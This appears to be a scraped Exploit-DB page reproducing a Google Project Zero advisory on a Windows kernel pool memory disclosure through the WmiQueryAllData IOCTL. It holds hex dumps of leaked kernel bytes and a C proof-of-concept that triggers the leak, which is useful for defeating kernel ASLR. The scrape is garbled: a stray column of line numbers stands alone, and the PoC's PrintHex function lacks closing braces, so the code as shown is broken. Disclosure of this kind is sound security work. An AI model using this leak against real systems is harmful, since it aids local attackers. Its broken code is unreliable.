Microsoft Windows – ‘0x224000 IOCTL (WmiQueryAllData)’ Kernel WMIDataDevice Pool Memory Disclosure

Exploit Database
107 阅读

作者： Google Security Research

日期： 2017-06-21
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/42213/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1152

We have discovered that the handler of the 0x224000 IOCTL (corresponding to the WmiQueryAllData functionality) implemented by the \\.\WMIDataDevice device in ntoskrnl.exe (as dispatched by the nt!WmipIoControl routine) discloses portions of uninitialized pool memory to user-mode clients.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---

00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000040: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................

00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000d0: 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 ................

000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................

00000180: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................

00000190: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001b0: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................

000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000002f0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................

00000300: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................

00000310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000320: 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................

00000330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000340: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................

00000350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

000003f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000460: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................

00000470: ff ff ff ff ff ff ff ff ?? ?? ?? ?? ?? ?? ?? ?? ................

--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, the uninitialized bytes constitute a significant portion of the overall memory area (72 out of 1136).

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---

00000000: 88 01 00 00 10 8d de 8f 00 00 00 00 88 01 00 00 ................

00000010: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......

00000020: a5 01 00 a0 c9 06 29 10 00 00 00 00 81 00 01 00 ......).........

00000030: 48 00 00 00 01 00 00 00 dc 00 00 00 48 00 00 00 H...........H...

00000040: 92 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....

00000050: 00 56 f8 05 00 00 00 00 78 b4 41 3c 00 00 00 00 .V......x.A<....

00000060: e8 03 6b 03 00 00 00 00 30 9e 33 7f 8d 00 00 00 ..k.....0.3.....

00000070: 69 5b 00 00 03 44 00 00 00 00 00 00 9b 01 00 00 i[...D..........

00000080: 30 8c ea b5 a6 91 d2 01 00 00 00 00 50 00 61 00 0...........P.a.

00000090: 72 00 74 00 6d 00 67 00 72 00 20 00 00 00 00 00 r.t.m.g.r. .....

000000a0: 38 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 8.\.D.e.v.i.c.e.

000000b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.

000000c0: 6b 00 30 00 5c 00 50 00 61 00 72 00 74 00 69 00 k.0.\.P.a.r.t.i.

000000d0: 74 00 69 00 6f 00 6e 00 30 00[ad ad]e0 00 00 00 t.i.o.n.0.......

000000e0: 9c 00 49 00 44 00 45 00 5c 00 44 00 69 00 73 00 ..I.D.E.\.D.i.s.

000000f0: 6b 00 56 00 42 00 4f 00 58 00 5f 00 48 00 41 00 k.V.B.O.X._.H.A.

00000100: 52 00 44 00 44 00 49 00 53 00 4b 00 5f 00 5f 00 R.D.D.I.S.K._._.

00000110: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.

00000120: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.

00000130: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.

00000140: 5f 00 31 00 2e 00 30 00 5f 00 5f 00 5f 00 5f 00 _.1...0._._._._.

00000150: 5f 00 5c 00 35 00 26 00 33 00 33 00 64 00 31 00 _.\.5.&.3.3.d.1.

00000160: 36 00 33 00 38 00 61 00 26 00 30 00 26 00 30 00 6.3.8.a.&.0.&.0.

00000170: 2e 00 30 00 2e 00 30 00 5f 00 30 00 00 00[ad ad]..0...0._.0.....

00000180:[ad ad ad ad ad ad ad ad]72 01 00 00 20 0e d1 8f ........r... ...

00000190:[ad ad ad ad]78 01 00 00 30 8c ea b5 a6 91 d2 01 ....x...0.......

000001a0: d1 65 d8 bd c1 d7 d0 11 a5 01 00 a0 c9 06 29 10 .e............).

000001b0:[ad ad ad ad]81 00 01 00 48 00 00 00 01 00 00 00 ........H.......

000001c0: d0 00 00 00 48 00 00 00 88 00 00 00[ad ad ad ad]....H...........

000001d0: 00 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 ................

000001e0: 00 00 00 00 00 00 00 00 28 a0 00 00 00 00 00 00 ........(.......

000001f0: 20 07 d9 9e 8d 00 00 00 00 00 00 00 1e 00 00 00...............

00000200: 00 00 00 00 00 00 00 00 30 8c ea b5 a6 91 d2 01 ........0.......

00000210: 01 00 00 00 56 00 4f 00 4c 00 4d 00 47 00 52 00 ....V.O.L.M.G.R.

00000220: 20 00 20 00 00 00 00 00 2e 00 5c 00 44 00 65 00. .......\.D.e.

00000230: 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 72 00 v.i.c.e.\.H.a.r.

00000240: 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 6c 00 d.d.i.s.k.V.o.l.

00000250: 75 00 6d 00 65 00 31 00 d4 00 00 00 92 00 53 00 u.m.e.1.......S.

00000260: 54 00 4f 00 52 00 41 00 47 00 45 00 5c 00 56 00 T.O.R.A.G.E.\.V.

00000270: 6f 00 6c 00 75 00 6d 00 65 00 5c 00 7b 00 62 00 o.l.u.m.e.\.{.b.

00000280: 63 00 30 00 35 00 62 00 34 00 39 00 31 00 2d 00 c.0.5.b.4.9.1.-.

00000290: 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 65 00 d.8.4.7.-.1.1.e.

000002a0: 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 38 00 4.-.a.3.0.d.-.8.

000002b0: 30 00 36 00 65 00 36 00 66 00 36 00 65 00 36 00 0.6.e.6.f.6.e.6.

000002c0: 39 00 36 00 33 00 7d 00 23 00 30 00 30 00 30 00 9.6.3.}.#.0.0.0.

000002d0: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0.0.0.0.0.0.0.1.

000002e0: 30 00 30 00 30 00 30 00 30 00 5f 00 30 00 00 00 0.0.0.0.0._.0...

000002f0:[ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad]................

00000300: 72 01 00 00 20 ae d3 8f[ad ad ad ad]00 00 00 00 r... ...........

00000310: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......

00000320: a5 01 00 a0 c9 06 29 10[ad ad ad ad]81 00 01 00 ......).........

00000330: 48 00 00 00 01 00 00 00 d0 00 00 00 48 00 00 00 H...........H...

00000340: 88 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....

00000350: 00 4e f6 05 00 00 00 00 98 72 59 3c 00 00 00 00 .N.......rY<....

00000360: b0 f4 75 03 00 00 00 00 38 80 1c 7f 8d 00 00 00 ..u.....8.......

00000370: 69 5b 00 00 e5 43 00 00 00 00 00 00 9b 01 00 00 i[...C..........

00000380: 30 8c ea b5 a6 91 d2 01 02 00 00 00 56 00 4f 00 0...........V.O.

00000390: 4c 00 4d 00 47 00 52 00 20 00 20 00 00 00 00 00 L.M.G.R. . .....

000003a0: 2e 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 ..\.D.e.v.i.c.e.

000003b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.

000003c0: 6b 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 k.V.o.l.u.m.e.2.

000003d0: d4 00 00 00 92 00 53 00 54 00 4f 00 52 00 41 00 ......S.T.O.R.A.

000003e0: 47 00 45 00 5c 00 56 00 6f 00 6c 00 75 00 6d 00 G.E.\.V.o.l.u.m.

000003f0: 65 00 5c 00 7b 00 62 00 63 00 30 00 35 00 62 00 e.\.{.b.c.0.5.b.

00000400: 34 00 39 00 31 00 2d 00 64 00 38 00 34 00 37 00 4.9.1.-.d.8.4.7.

00000410: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.

00000420: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.

00000430: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.

00000440: 23 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 #.0.0.0.0.0.0.0.

00000450: 30 00 30 00 36 00 35 00 30 00 30 00 30 00 30 00 0.0.6.5.0.0.0.0.

00000460: 30 00 5f 00 30 00 00 00[ad ad ad ad ad ad ad ad]0._.0...........

00000470:[ad ad ad ad ad ad ad ad]?? ?? ?? ?? ?? ?? ?? ?? ................

--- cut ---

In order to make the PoC code more elegant and portable, we have used the high-level functions available in advapi32.dll (WmiOpenBlock, WmiQueryAllDataW, WmiCloseBlock) with their reverse-engineered declarations, instead of sending the IOCTLs directly to the device.

Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.

#include <Windows.h>

#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {

for (ULONG i = 0; i < dwBytes; i += 16) {

printf("%.8x: ", i);

for (ULONG j = 0; j < 16; j++) {

if (i + j < dwBytes) {

printf("%.2x ", Data[i + j]);

}

else {

printf("?? ");

}

for (ULONG j = 0; j < 16; j++) {

if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {

printf("%c", Data[i + j]);

}

else {

printf(".");

}

printf("\n");

}

int main() {

HMODULE hAdvapi32 = LoadLibrary(L"advapi32.dll");

DWORD (WINAPI *WmiOpenBlock)(

_In_GUID*DataBlockGuid,

_In_ULONG DesiredAccess,

_Out_ PVOID *DataBlockObject

) = (DWORD (WINAPI *)(GUID *, ULONG, PVOID *))GetProcAddress(hAdvapi32, "WmiOpenBlock");

DWORD (WINAPI *WmiQueryAllDataW)(

_In_PVOID DataBlockObject,

_Inout_ ULONG *InOutBufferSize,

_Out_opt_ PVOID OutBuffer

) = (DWORD (WINAPI *)(PVOID, ULONG *, PVOID))GetProcAddress(hAdvapi32, "WmiQueryAllDataW");

DWORD(WINAPI *WmiCloseBlock)(

_In_ HANDLE Handle

) = (DWORD (WINAPI *)(HANDLE))GetProcAddress(hAdvapi32, "WmiCloseBlock");

// Open the disk perf WMI block.

DWORD DiskPerfGuid[] = { 0xBDD865D1, 0x11D0D7C1, 0xA00001A5, 0x102906C9 };

HANDLE hwmi = NULL;

DWORD st = WmiOpenBlock((GUID *)DiskPerfGuid, GENERIC_READ, &hwmi);

if (st != ERROR_SUCCESS) {

printf("WmiOpenBlock failed, %d\n", st);

return 1;

}

// Request the necessary buffer size.

DWORD InOutBufferSize = 0;

st = WmiQueryAllDataW(hwmi, &InOutBufferSize, NULL);

if (st != ERROR_INSUFFICIENT_BUFFER) {

printf("WmiQueryAllDataW#1 failed, %d\n", st);

WmiCloseBlock(hwmi);

return 1;

}

// Allocate memory and read the output data in full.

LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, InOutBufferSize);

st = WmiQueryAllDataW(hwmi, &InOutBufferSize, lpBuffer);

if (st == ERROR_SUCCESS) {

PrintHex((PBYTE)lpBuffer, InOutBufferSize);

} else {

printf("WmiQueryAllDataW#2 failed, %d\n", st);

}

// Free resources.

HeapFree(GetProcessHeap(), 0, lpBuffer);

WmiCloseBlock(hwmi);

return 0;

}